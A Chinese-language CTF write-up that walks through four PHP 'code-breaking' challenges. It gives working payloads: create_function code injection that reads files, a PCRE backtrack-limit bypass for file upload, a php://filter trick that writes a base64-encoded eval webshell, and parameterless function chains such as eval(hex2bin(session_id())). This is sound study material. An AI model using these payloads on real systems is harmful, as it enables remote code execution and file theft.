code-breaking easy 复现

1、function

code-breaking easy 复现_第1张图片

首先根据题目意思,传入两个参数 action和arg ,接着是三元判断符,即 action和arg如果没有赋值的话,就会被赋值为空字符。

接着是正则匹配式,action参数的开头不能是字母、数字、下划线。且 /i 表示不区分大小写 /s匹配任何不可见字符,包括空格、制表符、换页符等 /D不允许结尾有换行符。

所以如果action前面是一个特殊字符,就可以绕过正则了。

根据wp,发现%5c可以绕过,而%5c url解码后发现是一个反斜杠'\' 为什么这个字符可以绕过呢。

因为php里默认命名空间是'\',所有原生函数和类都在这个命名空间中。所以使用\function_name()时相当于写了这个函数的绝对路径。

任何发现后面会执行 $action('',$arg); 所以需要输入一个函数含有两个参数,且第二个参数可控。这里学习到了create_function()函数。

例子:

create_function('$fname','echo $fname."Zhang"')

 

function fT($fname) {

echo $fname."Zhang";

}

那如果使第二个参数改为 echo $fname."Zhang";}phpinfo();//

那就会变为

create_function('$fname','echo $fname."Zhang"':}phpinfo();})

 

function fT($fname) {

echo $fname."Zhang";}phpinfo();// 后面被注释掉

}

就可以执行一个phpinfo了。

所以可以使 action=%5ccreate_funciton&arg=2;}print_r(scandir('../'));// 查看上级目录下的文件

再读取文件内容 action=%5ccreate_funciton&arg=2;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

就可以得到flag了。

 

 

 

 

 

2、easy - pcrewaf

code-breaking easy 复现_第2张图片

阅读代码后可以知道,这是一个和文件上传有关的题目,我们上传的文件内容会被读取到$data中,然后对$data进行正则匹配,

preg_match('/<\?.*[(`;?>].*/is', $data)

所以如果我们上传php文件的话,就会被正则给匹配到,会返回bad request。所以我们要想办法绕过这个正则表达式。

假如我们的文件内容为 //aaaaa的话,那么首先会匹配到 < 然后是 ? 接着匹配所有字符,匹配式直接到最后一位a,但是正则表达式还没有结束,[(`;?)]还没有匹配,所以此时会进行回溯,就是往前匹配,回溯过程如下。

code-breaking easy 复现_第3张图片

 

但是回溯是有次数限制的,如果超过了这个限制的话,正则匹配就会失败,返回false,那这个次数限制是多少呢,据wp了解到是100万次,所以只要在// 后加100万个a 就可以绕过正则匹配了。

所以构造payload为 //'a'*1000000

code-breaking easy 复现_第4张图片

然后再将文件传到服务器上,要记住设置allow_redirects=false,因为源代码中设置了303跳转,如果直接读取res.headers的话是无法读到url的

得到地址后再去操作

code-breaking easy 复现_第5张图片

 

 

3、phpmagic

code-breaking easy 复现_第6张图片

code-breaking easy 复现_第7张图片

首先分析源码

 

需要我们post两个参数 domain 和 log

log会与SERVER_NAME拼接成log_name

而domain会进行html实体编码,也就是尖括号会被转成html实体

然后会判断log_name的后缀名是否存在数组中的值,若不存在则向log_name中写入domain的内容

 

首先我们要写入的文件肯定是php文件,那我们要怎么绕过检测后缀名这一步呢?根据wp提示,php/.可以绕过,因为php在处理路径的时候会递归的删除掉路径中存在的/. ,其次是log_name前面拼接的SERVER_NAME怎么处理。其实SERVER_NAME是可控的

code-breaking easy 复现_第8张图片

 

所以只要修改headers里的host即可控制。

搞定了文件名之后,那我们要写入的内容要怎么绕过html实体编码这一关呢?这里可以想到题目作者的一篇文章 php://filter的妙用。通过 php://filter/write/=convert.base64-decode/resource=xxx.php,这样我们将要写入文件的内容先进行base64编码,然后在传入服务器之后被解码,这样就可以完成绕过了。

所以我们要传入的内容是

base64编码一下 PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

路径为/data/ + md5($_SERVER('REMOT_ADDR'))

 

 

 

 

4、phplimit

code-breaking easy 复现_第9张图片

 

代码很简洁,就是一个正则匹配式后,执行命令。

那么首先弄懂这个正则表达式的匹配规则就行了。

^\W表示匹配以数字或字母开头的数据,而\((?R)?\)可以分开来理解,\(.......\)是括号匹配,而(?R)?表示重复这个模式,例如 a(b(c()))可以被匹配到。

[^\w]匹配到b,\( 匹配到( ,(?R)匹配到 c() ,\)匹配到)。 所以也可以认为(?R)是匹配上一轮匹配到的数据,它会一直重复。

也就是说我们可以输入的数据可以是这种类型:function(function(function())),但是我们的函数中不能带有参数,那我们要怎么操控可控的数据呢?可以想到http头重的一些数据会被记录在一些函数中,或许可以利用。

根据wp提示有三种方式

第一种、session_id()

session_id 用来获取当前会话id,但是会话id的组成仅允许字母数字,这样可以想到用十六进制来进行操作。

所以构造payload:eval(hex2bin(session_id(session_start())));

code-breaking easy 复现_第10张图片

 

 

第二种、get_defined_vars()

 

get_defined_vars()会以数组方式回显当前环境下的所有已定义变量,包括环境变量,服务器变量和用户自定义变量。

可以看到,返回了我们所传入的数据a的值,这说明我们有了可控数据,那我们要怎么样提取出这个数据呢?

code-breaking easy 复现_第11张图片

这里有提取位置的函数。

code-breaking easy 复现_第12张图片

 

使用current就获取到了我们数组中第一个变量 code的值,那我们再在这个数组中取它的最后一项。

 所以最后构造payload

code-breaking easy 复现_第13张图片

 

第三种、getcwd()

getcwd()可以获取当前目录

code-breaking easy 复现_第14张图片

然后用scandir进行目录遍历

 

那么怎么进入上级目录呢,可以使用dirname(),它会返回文件路径的目录。

code-breaking easy 复现_第15张图片

 

 

想到了之前的读取位置的函数,但是好像没有读取第三个位置的函数,所以可以把数组顺序倒过来一下。

 

但是读取文件的时候我们发现报错了

 

显示文件不存在,我们突然想到,还没有变换目录,所以我们还停留在www目录下,此时可以用chdir()来跳转目录。

code-breaking easy 复现_第16张图片

 

 

或者用readfile()

之前犯了一个错误,就是想直接用file_get_contents()读取文件内容,但是这样是不会有回显的,需要用var_dump(file_get_contents())才能读取到文件内容,且返回的是数据的结构信息。

而使用readfile读取文件内容的时候是直接返回文件内容,这一点要注意。

 

参考博客:https://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652850262&idx=1&sn=9676e4febf850dd9e4b36ea2538974dd&chksm=bd59349b8a2ebd8d24e9ce40a6397098ef91018d28f087b3518f8287e7a8a351536ffa1cc06e&mpshare=1&scene=23&srcid=#rd

https://www.jianshu.com/p/748749d38fb8

 

你可能感兴趣的:(code-breaking easy 复现)